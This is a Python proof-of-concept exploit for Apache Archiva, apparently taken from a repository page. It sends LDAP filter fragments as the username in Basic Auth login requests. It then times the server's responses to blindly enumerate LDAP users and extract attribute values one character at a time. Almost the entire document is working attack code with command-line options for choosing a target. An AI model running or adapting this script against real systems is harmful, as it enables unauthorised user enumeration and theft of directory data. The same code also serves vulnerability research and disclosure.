README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import string
import logging
import requests
import time
from requests.auth import HTTPBasicAuth
_URL = ''
_USER = ''
_ATTR = ''
_PATH = '/restServices/redbackServices/loginService/logIn'
_USER_MAX_LENGTH = 8
_USER_CHARSET = string.ascii_lowercase + string.digits + '_-@.'
_USER_FILTER = '{})(uid=*'
_ATTR_MAX_LENGTH = 20
_ATTR_CHARSET = string.ascii_lowercase + string.digits + '_@.'
_ATTR_CHARSET_EXCLUDE = ''
_ATTR_FILTER = '{user})({attr}={{}}'
_CALIBRATION_N_ATTEMPTS = 10
_N_ATTEMPTS = 2
_RESP_TIME_EXISTS = -1
_RESP_TIME_DOESNT_EXIST = -1
def _calibrate():
global _RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST
logging.info('Calibration...')
total_time = 0
for i in range(_CALIBRATION_N_ATTEMPTS):
start_time = time.perf_counter()
requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('*', 'anything'))
end_time = time.perf_counter()
total_time += end_time - start_time
_RESP_TIME_EXISTS = total_time / _CALIBRATION_N_ATTEMPTS
total_time = 0
for i in range(_CALIBRATION_N_ATTEMPTS):
start_time = time.perf_counter()
requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('DoesntExistForSure', 'anything'))
end_time = time.perf_counter()
total_time += end_time - start_time
_RESP_TIME_DOESNT_EXIST = total_time / _CALIBRATION_N_ATTEMPTS
logging.debug('_RESP_TIME_EXISTS: {}'.format(_RESP_TIME_EXISTS))
logging.debug('_RESP_TIME_DOESNT_EXIST: {}'.format(_RESP_TIME_DOESNT_EXIST))
logging.info('Calibration done')
return (_RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST)
def _exists(val, filter):
logging.debug('USER {}'.format(filter.format(val)))
total_time = 0
for i in range(_N_ATTEMPTS):
start_time = time.perf_counter()
requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth(filter.format(val), 'anything'))
end_time = time.perf_counter()
total_time += end_time - start_time
response_time = total_time / _N_ATTEMPTS
logging.debug('RESP TIME {}'.format(response_time))
return abs(_RESP_TIME_EXISTS - response_time) < abs(_RESP_TIME_DOESNT_EXIST - response_time)
def _exfiltrate(val, filter, charset, max_length, exclude='', stop_on_first=False):
if _exists(val=val, filter=filter):
#print(val)
print('')
if stop_on_first:
return True
if len(val) == max_length:
return False
for c in charset:
if not c in exclude:
if _exists(val=val+c+'*', filter=filter):
print(val + c, end='\r', flush=True)
ret = _exfiltrate(val=val + c, filter=filter, charset=charset, max_length=max_length, exclude=exclude)
if ret and stop_on_first:
return ret
def _enumerate_users():
logging.info('Enumerating users from {}'.format(_URL))
_calibrate()
_exfiltrate(val='', filter=_USER_FILTER, charset=_USER_CHARSET, max_length=_USER_MAX_LENGTH)
def _exfiltrate_attr():
logging.info('Exfiltrating {} attribute of {} user from {}'.format(_ATTR, _USER, _URL))
_calibrate()
_exfiltrate(val='', filter=_ATTR_FILTER.format(user=_USER, attr=_ATTR), charset=_ATTR_CHARSET,
max_length=_ATTR_MAX_LENGTH, exclude=_ATTR_CHARSET_EXCLUDE, stop_on_first=True)
def main():
parser = argparse.ArgumentParser(description='Apache Archiva PoC. Exfiltrate users and attributes from LDAP.')
parser.add_argument('-v', dest='verbose', required=False, action='store_true', help='Enable debug logging')
parser.add_argument('--url', dest='url', required=True, help='Archiva URL, e.g. http://127.0.0.1:8080/')
parser.add_argument('--user', dest='user', required=False, help='LDAP user for which to exfiltrate attribute value')
parser.add_argument('--attr', dest='attribute', required=False, help='LDAP attribute to exfiltrate')
args = parser.parse_args()
global _URL
_URL = args.url
logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG if args.verbose else logging.INFO)
if args.user:
global _USER, _ATTR
_USER = args.user
_ATTR = args.attribute
_exfiltrate_attr()
else:
_enumerate_users()
if __name__ == '__main__':
main()